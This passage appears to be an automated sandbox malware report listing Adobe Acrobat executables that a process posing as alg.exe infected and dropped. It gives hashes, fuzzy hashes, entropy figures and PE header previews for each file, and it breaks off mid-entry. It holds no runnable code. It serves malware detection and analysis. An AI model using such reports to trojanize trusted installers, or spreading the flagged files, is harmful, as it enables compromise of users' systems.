Category:	dropped
Size (bytes):	1613312
Entropy (8bit):	4.680237146826291
Encrypted:	false
SSDEEP:	12288:lv0iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Y/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	3BAE2B233763E924B4C891188E458506
SHA1:	A5ACFD9C9A5AB9059ACC0CFA4A7256A7BBDCD7CC
SHA-256:	025DDD9549A19B21F2980393315DA988E91F269C3B635C7EF79CF45BA93CAA9E
SHA-512:	D6A20564B554E9B8596D8D4E737C64C066517D13F1A9FACD4C36DDAF52D66ACD8CF7D776F9DA4854A0393C4F048A69C7950A43B5A4DAFCE6D6DDC1AD27938B1A
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|..}...\|..}...\|..=\|...\|o..\|...\|B..}...\|...\|...\|..}...\|..Q\|...\|..9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@..............................#.....7..... .................................................@...,....@..........4......................T.......................(...@...8............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc........@......................@..@.reloc...`...P......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1616896
Entropy (8bit):	5.046918514042736
Encrypted:	false
SSDEEP:	24576:95zhM1XScv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:JMsyLNiXicJFFRGNzj3
MD5:	DC1207167380115BF2C1424BACFDCD18
SHA1:	0F3048B26FDFAC93987624A89D3B7E58F03764BB
SHA-256:	4A88BB22BDC73A96218FFDE57759DE2109C327A3CC948F28110DD215CF6020CB
SHA-512:	FD1461F9645652CC57D36C713067BF88150899CC839743395EAC81C605047B5F6A68D1C73EF5C5F934062BCFBA0B5D4075A90BBDC01AF1E20AB6DD6146D79786
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rw..Tv.Rw..Sv..Rw.Sw..Rw5.Wv.Rw.t/w.Rw.t?w..Rw7.Wv.Rw7.Vv.Rw7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@..............................#........... ................................................. A...................+......................T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc...`...0......................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.497769516282855
Encrypted:	false
SSDEEP:	49152:4tuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN7554LNiXico:4jEIa4HIEWOc5G7wRGpj3
MD5:	9DB9364E6750F0B463C1E46F896C0F30
SHA1:	6E680F677C7619FF066AB767B2AA384FBB7F1EB5
SHA-256:	DFF8D794FF1352AA1D703D7FD078E7111658ACDBF3EFB4DA115D0DFD7089265A
SHA-512:	ADFE088DB4FF09C796692CCE069EE74C3B33847754D3280869A475AC952E489875D6544CC56320BC811E5A2CC9E9B50B5CD0988B4D735FB58F6663A275B01355
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999360391534468
Encrypted:	true
SSDEEP:	1572864:+Qb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:9XhwMhe6AABPiQwF6xQ22R
MD5:	1D39105D328C31B6C46418C45CF08D38
SHA1:	F5F4F0B9E0C094FEEEA0E886FDAC57C389B45288
SHA-256:	B75C0035C4F8599276F4A3FD5331F86EDDF33E0E494FE6ADE056E6BDAD3A2ED9
SHA-512:	962A25207D64825703338EFAAFC5C818CAD492FEAEDE0C7FCADA73F97FD886503071ABDC7824631565EF633E5FB135ED81A8EAEF629BD621B8D474A78180F6EC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0............ .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335808
Entropy (8bit):	4.597044716839718
Encrypted:	false
SSDEEP:	12288:KW8iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Kn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	70C7697D68B1D5975C168CDB6C1247AD
SHA1:	C64CF95C7199DB7FED906FEEFFEB25AB12970EC2
SHA-256:	D293559ABC434695C0636CC4EEA678EDA57F42719C7A2BABA877069F66FEF5E7
SHA-512:	50A53075557C8A48B980A60C8C7D5278548393D00AA016D80C9FBF834F304BB0DA53D1EA7F5B612A1D9BCEFAAC13EE908292DF9764134AC20455B9FD4080CFD7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b..c.2.b.gpg..b.gp...b.....b.gp`..b.Rich..b.................PE..d...R..d.........."......l...Z.......m.........@.............................P............ .....................................................\|.......p.......@.......................T.......................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......<...p..............@..@.data...............................@....pdata..@...........................@..@.rsrc...p...........................@..@.reloc...`..........................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6210048
Entropy (8bit):	6.385265848124412
Encrypted:	false
SSDEEP:	49152:ODvZEaFVUn+Dpasot2xQevgjCGT7lmPIionqOgBhGl6zVLkVEk3yV07U24GEQTXr:PnN9KfxLk6GEQTX5UKzND97wRGpj3
MD5:	D06A34973B82AF7CF57D62B9DDF60B01
SHA1:	66BC249889981C1FBAD6A1F59855CE34933D2F49
SHA-256:	75A2760A4D1336B0C1CC869DAF337FCB296435957F9A6DD39C1385848FE622B7
SHA-512:	FE183709C6B59903FC40BD473CD381E0C32DDAB99D653BF873B2178630A70EF718800121141979F8162F308D99899067098CDA51E28118EC0C6C8892781682C1
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9...8...9k..8\..9k..8}..9k..8n..9...9...9...8Y..9...8~..9..r9~..9...9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@.............................._......._... ..........................................<F.\|....EF.x....0K..V...@H......................n;.T....................o;.(....:.8............p4..... .F.`....................text...,T4......V4................. ..`.rdata..@....p4......Z4.............@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@..._RDATA....... K......HJ.............@..@.rsrc....V...0K..X...JJ.............@..@.reloc...0....V.. ....U.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1312768
Entropy (8bit):	4.548413853839869
Encrypted:	false
SSDEEP:	12288:SjiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:SX/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	C4BDD1D3542A21CA8EB990CCEE7F09E7
SHA1:	0F90994DB886897A618475482F522F2CD69B8C64
SHA-256:	61B4FF1698513A77B4A424161C867DCDA20BCD67F22A6DE3E2739B01AEEA411A
SHA-512:	4A9DF71A32280AB8C50465CAB60C96E4C8C3E3DC09516758E565EF22C9FC6E294BF0B407084064E4FE882ADEC1E369EAEE52CD7E8683CF703FE0B836D6B34FCB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}...x...........\|.......y...x...y.......y...Richx...................PE..d......d.........."..........>.......0.........@.......................................... .................................................lV..........h...........................PI..T....................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...$...2..............@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...h............\..............@..@.reloc...`...........h..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12039168
Entropy (8bit):	6.59597034663094
Encrypted:	false
SSDEEP:	98304:2b+MzPstUEHInwZk3RBk9DdhgJCudq1uVIyESYgKI7wRGpj3:AnPgTHIwZoRBk9DdhSUEVIXgKUF9
MD5:	08E0D317269DB761921BD9568158C2D9
SHA1:	A8E8ED562C823E44B3C7717FECC448A5E3A9E778
SHA-256:	E42091E6F0958580E4C298CACBDA11988B3782F0CF701421C3E5D4F95C1E4828
SHA-512:	FF2D8CB24BF09B3AA66BBFE5B8E474D7A577D7AB6CA379A7C4A4290348507C4F47FFE10FD0326E5699B9A3406427507553FEF52105C54A0A2F285DF2E59BD066
Malicious:	true
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..E.t.Vb..E.d.jb.....ib......b..v...\|b..v...cb.....`..bb..}b..v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@....................................4a.... ............................................\...,..h........G......Lz..................P..T......................(......8...........................................text............................... ..`.rdata..f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat...............X..............@..._RDATA...............Z..............@..@.rsrc....G.......H...\..............@..@.reloc... .........................@...........................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1478144
Entropy (8bit):	4.829898600087479
Encrypted:	false
SSDEEP:	24576:Bg5FvCPWs4/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:WfFzLNiXicJFFRGNzj3
MD5:	5BACADC2EC3ECD7469B65406BA8F6F42
SHA1:	A799017C6AF12944D3E11F9BE2D1B3838C6744C9
SHA-256:	B32D5130F19CD37EFA63AFD8C8DAD5B3352990F27564ABA5DF391CB1FF242301
SHA-512:	F7D6FB684E8BBB7C20F8D3332A96F96F8142736002D2E70F8160EC9A19B8204A8D59FE1924D1AE8EDB6A8059AEADF8488886CA4FA2C7AA94E55AA082AF26CB52
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ z.A...A...A...9...A..O5...A..O5...A..O5...A..O5...A...*...A...A...@..M5...A..M5.A...A...A..M5...A..Rich.A..................PE..d......d.........."..........b.................@..............................!......N.... .................................................X...h....p..p....P..t.......................T.......................(.......8............................................text...,........................... ..`.rdata.............................@..@.data........@.......&..............@....pdata..t....P......................@..@.rsrc...p....p.......B..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339904
Entropy (8bit):	7.202739011020617
Encrypted:	false
SSDEEP:	24576:JjKTIsAjFuvtIfmFthMaT5U8aChaeuC/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:JjIMmPh7TT79bLNiXicJFFRGNzj3
MD5:	13FE6BD3AF6DFDF966E1E5DC3AB18C8A
SHA1:	6346C3F5840A222506BAE47C3148746EDC3387E0
SHA-256:	AAFDCA71B9C22B75EB7448B7FCB34FD3A50F3C2970BFE0BEB228C58C53413325
SHA-512:	DD52CC84506A778CDB80A21EFA34EC24F7F48B5FDAA94323295F41A78BD8F4C966D225992FBA438D6D0B0BB937F0A86760B064265227627B3C40FAFB63D68E9C
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......................................s...X............................[....U=....................h...n......n.Y.....1....n......Rich...........PE..d......c..........".................0i.........@..............................$......F.... .................................................H...d............@..Tx......................p...................`...(...`................................................text............................... ..`.rdata..@...........................@..@.data....>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1671168
Entropy (8bit):	5.008260407773543
Encrypted:	false
SSDEEP:	24576:NGqVwCto1em5Wg+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:8Z1emUNLNiXicJFFRGNzj3
MD5:	670B3D50F9769D9D53204A7D55204DA6
SHA1:	F4EBD72D48271B827ABADE7BF2302FDD6E010E7F
SHA-256:	0E75045709EFCA21BD5500ECD2A5FCF110C0B23A5FE98220D66C3D27098D7004
SHA-512:	E373EE80DD965026453BFFF737EAC161F6477CA67BA8331D393E969ACBD8A7BAE0B5A50E1C5FBA43C091FD1011BBD3BD9ECD34CB556080716526B2716A69741A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................v......................................a..X.....X........r....X.....Rich...........PE..d......c.........."............................@..............................$.......... .................................................. ...........v..............................p.......................(....................0...............................text............................... ..`.rdata..Z$...0...&..................@..@.data...x"...`.......@..............@....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc...`...0......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1409024
Entropy (8bit):	4.690541947425694
Encrypted:	false
SSDEEP:	24576:eWBWf/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:iLNiXicJFFRGNzj3
MD5:	14E0F7D4A72677ACA197DBE8B9E404B9
SHA1:	5A05D9C7B47654569CB10C254C670634289D53CF
SHA-256:	3681B1543CD7704837321350256B7BFF6A57A02EB02E9509D0DB8B8807CA93DE
SHA-512:	2897FDF5823CA45811B856B9D21B76A8248F7D72C4A93799BF2F1B3B2B3942C55E97F1837D2249BB76241615090000933CB52CDD057C13ED565AE26F9AA6951D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%.;b$.Pc%.Pb%EPc%z$f$.Pc%z$.%.Pc%.P.%.Pc%z$a$.Pc%Rich.Pc%................PE..d...DC,d.........."............................@.............................p ........... .................................................h...@.......@............................Q..T....................S..(... R..8............0...............................text............................... ..`.rdata..$....0......................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	7.223535384881754
Encrypted:	false
SSDEEP:	49152:5+GtCi27mVTyT+a0BLNiXicJFFRGNzj3:Mmd27e7wRGpj3
MD5:	473734991AA8E4905C68350FC1ADD5AC
SHA1:	2104C5F739B7C8CFF9716558153BD32B7917DEE1
SHA-256:	02B88C864A5A879E0F70447D1080ABA097CB2EDC6571689AD69FED4958C5BB4E
SHA-512:	6EDBB0BFDB09E799C9648902EDF5F6FA2CA6D4F0849671E8434C029C4437CDD042D981447C44A42AF2DE4A1BAB92778ADAE35D65951305EF0058075F2D1086D2
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...K...N...#...N.<~3...N..C3...N...O...N...O.O.N...F...N.......N......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@.......................................... .................................................x........... ....p..dt......................p.......................(... ...8............................................text...kh.......j.................. ..`.rdata...............n..............@..@.data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..............................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3110912
Entropy (8bit):	6.648200500413914
Encrypted:	false
SSDEEP:	49152:IU198PzqkltcT0gViJNfBZQiOIK5Ns6YZ82PTJeYmLNiXicJFFRGNzj3:52NfHOIK5Ns6qR907wRGpj3
MD5:	6F78A72037A3069E24192555FE805766
SHA1:	9BEFE9EA182B542FEB797F325904F084F4AC06B2
SHA-256:	870CE0B28BEAB9DE779F4B608965EF96A42CFC73D985D263CDFA0FA7D58BD4BD
SHA-512:	031CF6CA37BE85D0C05A9D99437E781F481E41C90E94F00BCD7AEEB9B5C64A5DFD1247588F0E9AAC74187F2F1AD81104708D3318DD29A31091E65E58462B2545
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......'A3rc ]!c ]!c ]!..!h ]!..!. ]!..!x ]!1UY r ]!1U^ i ]!.O.!a ]!..!g ]!..!b ]!1UX . ]!..!@ ]!.UX . ]!c \!.!]!.UT . ]!.U.!b ]!c .!b ]!.U_ b ]!Richc ]!................PE..d.....Zd..........".................t..........@..............................0......E0... ..................................................o .......&......$.`....................x..p....................y..(....)..8....................j .@....................text............................... ..`.rdata..8...........................@..@.data....q.... ..<...r .............@....pdata..`.....$.......#.............@..@_RDATA........&.......%.............@..@.rsrc........&.......%.............@..@.reloc...@....&..0...H&.............@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1743872
Entropy (8bit):	5.139931790270903
Encrypted:	false
SSDEEP:	24576:ZkDWTUQcydO/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ZqKUZLNiXicJFFRGNzj3
MD5:	7B857ED7E2166F84A9000B9087DA9C1D
SHA1:	6A61E185FB94E1197AEC0AE68688BCC2CB8A7522
SHA-256:	F70D22720DD41FE684DAD3E274625916BE925451571BF0AF0DBA19E3FC675D77
SHA-512:	80A106E6D59681AB062755B0A00C36D4AEB021A6D27F6269F8153571C60713C71CA1BEB44E13651C78773713929D932E9564F01303931FAA25C3A3FC033650F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0I..Q'..Q'..Q'..7#..Q'..7$..Q'..7".!Q'..$#..Q'..$$..Q'..7&..Q'..$"..Q'.x$"..Q'..Q&.dQ'.x$...Q'.x$...Q'..Q...Q'.x$%..Q'.Rich.Q'.........................PE..d.....Zd.........."......,..........(?.........@..............................%......+.... .................................................(...P................m..................tC..p...........................p...8............@..........@....................text....+.......,.................. ..`.rdata......@.......0..............@..@.data....)..........................@....pdata...m.......n..................@..@_RDATA...............B..............@..@.rsrc................D..............@..@.reloc...p...@......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1494016
Entropy (8bit):	4.901008572601023
Encrypted:	false
SSDEEP:	24576:eI+qBx/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:L+SLNiXicJFFRGNzj3
MD5:	F4B79993364BE4F0525964F460EE5D88
SHA1:	E137F2330F6BD7FF5AD7F26279FB5DF3BCD228BB
SHA-256:	E10718A58328F837EAAE4D072C21001CF66555BD162E8533D1147F5F6577ECC9
SHA-512:	EA79A264A5ECC439E86BF96D467D1B3BFF694F0F9B3763BDDDAAA8878E1AA0EA2CED44F507139C63FF52E64B4279080F0A26F72B65605822BE44C59D3081E3BF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@...........................!.....................................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc.......@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1298944
Entropy (8bit):	4.525825875063929
Encrypted:	false
SSDEEP:	12288:qiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:s/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	3E4031479F673025705F980C5DD9F3D8
SHA1:	7192F1FF8F2FCFF818445A9B9900E19AAFCFE2BE
SHA-256:	8A8DFB04BD2ADFC85286BAB214AA037DE65DA100F9B4FCE3D8051048EC17D655
SHA-512:	BBCEE3A4248017A1B64F60B88FD8897B38637EAF7375236953B7CF187C19F7C67259689D1801EFA9414CFB82455DC90915C2F372FF8543E6E78A72A39A5A60C8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+.............................................................G.............Rich............................PE..d...~^.c.........."..........$......p..........@....................................7c.... ..................................................;.......p.......`......................d4..p............................4..8............0..0............................text...\|........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc...`...........2..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1317376
Entropy (8bit):	4.555420510983085
Encrypted:	false
SSDEEP:	12288:2JiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:y/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	274DDCE1829DB23C4D64A8810C5941CB
SHA1:	C3BD3A5C03C4A2765A439DB19D6F7E46D340C8EF
SHA-256:	F82F5B4011E36C8392AA43310450579B336FAACD80824636256254B786FF4149
SHA-512:	FB0227D05CFDE9968DA83A73DD534505F7C75D9921AFD63B19A1101E4F544F723B1F9D00F29B75969662042663817853E092640E4FA02097B6492B60A89BA212
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=..v=...=..I..t=..IS.w=..v=;.w=..I..w=..Richv=..........................PE..d....^.c.........."......<...B.......>.........@.......................................... ..................................................i..........P.......,...................`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata..$'...P...(...@..............@..@.data................h..............@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...`...........z..............@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.497765617649596
Encrypted:	false
SSDEEP:	49152:2tuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN7554LNiXico:2jEIa4HIEWOc5G7wRGpj3
MD5:	3AC72B66223ED56AD2D6CDEDDE066F6D
SHA1:	37E917C8E203F4D89DD79333FD7C16655C99C4C3
SHA-256:	753A020E70A1EEB12F88897C1C72F7580EA89EDBDA280B3D7B4464E06B9F1518
SHA-512:	6D28AAE84991CE0BDE7442F90FBFCCBDBF960CC8EE6EDCB623CDD5F75EFEA20B0F00C6F60CF217069680A3CC3274663D65ECE557B0B2A054A8CF39112873EA6D
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.....Z.?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999360394541404
Encrypted:	true
SSDEEP:	1572864:9Qb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:2XhwMhe6AABPiQwF6xQ22R
MD5:	9AEBD32321C41E2F3FE9AF0B315E93D5
SHA1:	F13BA1B646BD39E1D0B736E84A96968737A78398
SHA-256:	56FA9ED63CF4D40BF4E54AEDE3995F59162BE5A79A6C50B0FEE2B8ED11FB23CE
SHA-512:	6C09DF6B3836C122B2144B2995452788A45EF61C16A30A999625962037317760D6CE66E19DD5155F35836A14A7E92667915BEDA3A9542DF1695EC288506DD625
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0............ .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1385984
Entropy (8bit):	4.70880989819714
Encrypted:	false
SSDEEP:	24576:1jkYz9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:9/z9LNiXicJFFRGNzj3
MD5:	67496FDEB1D3C5E27FA51D1737FE7329
SHA1:	126E307A354650EAF22C7EB00BA2C235BBEDC581
SHA-256:	EF06E54C755308F12D5E41EBB6974A14EAA455DD84223FE84C824E5BEE288466
SHA-512:	43BA25A09972F90438AD9E723E9243BDC0340099D74E7262891C61E2B1010ED7284E86B170883FF9B24906A09BBE0ED638E294C91842AE70A7948F1B9B28F32F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................b....6......6......6.....6.....................M..4......4......4........f....4.....Rich...........................PE..L.....{d.................&...`...............@....@.......................... .....g........................................r..,................................... O..p....................P.......O..@............@..4............................text....%.......&.................. ..`.rdata...@...@...B...*..............@..@.data................l..............@....rsrc................p..............@..@.reloc...p...........v..............@...................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1540608
